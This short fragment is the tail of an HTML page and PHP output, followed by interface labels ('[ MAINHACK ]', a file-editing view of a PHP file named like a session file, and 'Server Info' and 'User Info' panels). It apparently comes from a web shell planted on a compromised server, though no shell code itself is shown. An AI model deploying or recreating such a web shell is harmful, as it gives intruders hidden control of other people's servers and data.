    <script src="https://cdn.jsdelivr.net/npm/flowbite@3.1.2/dist/flowbite.min.js"></script>
</body>

</html>

<?php
ob_end_flush();
?>

Cancel / Back

[ MAINHACK ]

Viewing / Editing File: sess_5171fcbf42bcab65758aae7e9218e28b.php

Server Info

System Features

User Info